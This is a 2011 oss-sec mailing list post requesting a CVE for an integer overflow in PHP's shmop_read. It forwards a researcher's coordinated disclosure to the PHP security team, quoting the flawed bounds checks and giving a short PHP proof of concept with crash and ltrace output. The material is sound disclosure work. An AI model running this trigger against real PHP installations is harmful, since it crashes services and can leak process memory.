oss-sec mailing list archives

CVE request, php's shm


From: Pierre Joye <pierre.php () gmail com>
Date: Tue, 8 Mar 2011 14:36:49 +0100

hi,

Can someone request a CVE for this flaw please? It would rock if we
can get it today as we will package 5.3.6 final.

This flaw has been discovered by Jose Carlos Norte, already fixed in
SVN by Felipe Pena (felipe () php net), see
http://svn.php.net/viewvc/?view=revision&revision=309018

Thanks for your work!

Cheers,
---------- Forwarded message ----------
From: Jose Carlos Norte <jose () eyeos org>
Date: Tue, Mar 8, 2011 at 10:06 AM
Subject: Re: about a memory error in php
To: Scott MacVicar <scott () macvicar net>
Cc: security () php net


Hi,

thanks for your fast reply! following your instructions, I communicate
the bug directly in this mail:

the problem is in the shmop_read php function, in the file
ext/shmop/shmop.c. This functions reads a given number of bytes from
memory, at a given offset starting from a shared memory area.

string shmop_read (int shmid, int start, int count)

Inside the code of the function itself, there are checks in the start
parameter and in the count parameter, to avoid reading arbitrary
memory outside the shared memory object:

    if (start < 0 || start > shmop->size) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "start is out of range");
        RETURN_FALSE;
    }

    if (start + count > shmop->size || count < 0) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "count is out of range");
        RETURN_FALSE;
    }

The first block check if start is lower than 0 or bigger than the size
of the shared memory area.

The second block checks that the SUM (ADDITION) of "start" and "count"
is not greater than the shared memory area, and later checks if count
its not lower than 0.

The problem is that both variables are signed longs, in 32 bits
architectures this means 2^31 maximum value, after this value, the
variable becomes negative.

So, if we put exactly 2^31 as a value in count, and 1 as a value in
start, the first condition: start + count would become negative
(2^31+1) and will pass the check, and the second condition (count > 0)
will also pass the check, because count its positive (2^31) and do not
get negative until the addition of 1.

After this, the code follows:



    startaddr = shmop->addr + start;
    bytes = count ? count : shmop->size - start;

    return_string = emalloc(bytes+1);
    memcpy(return_string, startaddr, bytes);
    return_string[bytes] = 0;

    RETURN_STRINGL(return_string, bytes, 0);

bytes is again a signed integer.

return_string allocates 2^31+1+1 (+1 from start, +1 directly hardcoded
in the emalloc call) bytes, this is negative inside bytes, but its not
a problem, since emalloc uses size_t, so 2^31+1+1 of memory is
allocated.

After this, there is a call to memcpy, that will exactly copy 2^31+1+1
bytes of memory inside return_string, far far larger than the shared
object memory area.

So, in normal situations, this will produce a segmentation fault,
because of php reading past its own memory.

However, this could be exploitable in scenarios with enough memory,
because return_string is returned to the php, if there is enough
allocated memory to not produce a segmentation fault, 2gb of arbitrary
memory would be leaked.

I have created a little exploit to test the issue:

<?php
$shm_key = ftok(__FILE__, 't');
$shm_id = shmop_open($shm_key, "c", 0644, 100);
$shm_data = shmop_read($shm_id, 1, 2147483647);
//if there is no segmentation fault past this point, we have 2gb of memory!
echo $shm_data;
?>

In this exploit, I use 1 as a value for start, and 2^31 (2147483647) as count.

2147483647+1 = -2147483647.

When executing it:

n00b@thanatos:~$ cat lol.php
<?php
$shm_key = ftok(__FILE__, 't');
$shm_id = shmop_open($shm_key, "c", 0644, 100);
$shm_data = shmop_read($shm_id, 1, 2147483647);
//if there is no segmentation fault past this point, we have 2gb of memory!
echo $shm_data;
?>
n00b@thanatos:~$ php lol.php
Segmentation fault
n00b@thanatos:~$

A call to ltrace, reveals:

malloc(2147745792)

     = 0x35cbd008
memcpy(0x35cbd024, "", 2147483647 <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
n00b@thanatos:~$

it is the memcpy, trying to read past the memory assigned to php that
is crashing the application.

If you need any further details, please do not hesitate to ask.

Thanks for your time and your fast response.

Regards,

On Mon, 7 Mar 2011 16:10:21 -0800, Scott MacVicar <scott () macvicar net> wrote:

You reply to the list, we'll analyse it fix and ask for a CVE to
represent it. We don't publish to any lists and will fix it as soon as
we can. Credit are published in the changelog.

- Scott

On 7 March 2011 15:21, Jose Carlos Norte <jose () eyeos org> wrote:

Hi,

I'm a security enthusiast who likes to audit open source projects
source code, I have been working this weekend reading the PHP source
code (a really great piece of software) and I have found for the
moment 1 vulnerability regarding to memory management, I'm not sure it
is exploitable, but at this moment I'm able to create a php file that
segfaults the php binary, trying to read/write on incorrect memory
adresses.

I would like to know what are the normal procedure in the php project
to proceed with the advisory, regarding to:

- credits?
- timings?
- waiting times?

In fact what I would like to know mostly is what is the most
reponsible procedure for me, to allow you to solve the issue, before
publishing anything.

As a security researcher, I would like to publish my findings at least
in my blog, and I also want to know if is PHP security team who send
the advisory to securityfocus, or the researcher.

I really want to proceed in the most ethical and polite way with your
project and your community.

Regars,

Jose Carlos Norte.



-- 
Pierre

@pierrejoye | http://blog.thepimp.net | http://www.libgd.org


Current thread: